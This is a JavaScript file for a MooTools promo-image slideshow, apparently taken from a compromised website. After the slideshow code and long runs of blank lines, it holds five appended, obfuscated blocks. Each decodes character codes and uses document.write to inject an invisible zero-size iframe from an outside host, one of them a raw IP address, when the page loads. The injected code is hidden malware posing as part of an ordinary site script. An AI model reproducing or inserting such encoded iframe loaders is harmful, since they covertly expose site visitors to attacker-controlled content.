var mainFeature = new Class({
	Implements: [Events, Options],
	
	options: {
		selectedId: 0,
		rotateSpeed: 3000,
		selectedPauseTime: 2000
	},
	
	initialize: function(fullImages, options) {
		
		//this.thumbNails = $$(thumbNails);
		this.fullImages = $$(fullImages);
		
		this.setOptions(options);
		
		this.fullImages.each(function(item, index){							  
									  
			item.subIndex = index;
			item.addEvent('mouseover', this.promoMouseOver.bind(this, item));
			item.addEvent('mouseleave', this.promoMouseLeave.bind(this));
			if (index != this.options.selectedId)
			{
				this.fullImages[index].get('morph').set('.hiding');
				item.removeClass('selected');
			}
			else
			{
				this.fullImages[index].get('morph').set('.nothiding');
				item.addClass('selected');
			}
		}, this);
		
		this.selected = this.fullImages[this.options.selectedId];
		
		this.rotateTimer = this.autoRotate.delay(this.options.rotateSpeed,this);
	},
	
	autoRotate: function()
	{
		$clear(this.rotateTimer);
		
		this.options.selectedId++;
		if (this.options.selectedId >= this.fullImages.length)
		{
			this.options.selectedId = 0; //should be 0, yucky fix for request to not show the first promo after its initial display :(
		}
		
		this.showPromo(this.fullImages[this.options.selectedId]);
		this.rotateTimer = this.autoRotate.delay(this.options.rotateSpeed,this);
	},
	
	promoMouseOver: function(item) {
		$clear(this.rotateTimer);
		this.showPromo(item);
	},
	
	promoMouseLeave: function() {
		this.rotateTimer = this.autoRotate.delay(this.options.selectedPauseTime,this);
	},
	
	showPromo: function(item) {
		this.fullImages[this.selected.subIndex].morph('.hiding');
		//this.thumbNails[this.selected.subIndex].removeClass('selected');
		
		this.fullImages[item.subIndex].morph('.nothiding');
		//this.thumbNails[item.subIndex].addClass('selected');
		
		this.selected = item;
		this.options.selectedId = item.subIndex;
		
		return false;
	}
});

window.addEvent('domready', function() {
	var fspromo = new mainFeature('div.mainFeature a img.slide', {selectedId: 0});
});





























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!119!119!119!50!46!109!99!103!114!101!103!97!114!116!46!99!111!109!47!105!110!46!99!103!105!63!50!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!115!116!121!108!101!115!46!115!97!110!100!99!97!110!100!108!101!115!46!111!114!103!47!105!110!46!99!103!105!63!100!101!102!97!117!108!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!100!114!111!105!100!46!119!111!109!101!110!116!104!101!109!97!110!117!97!108!46!99!111!109!47!99!111!117!110!116!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

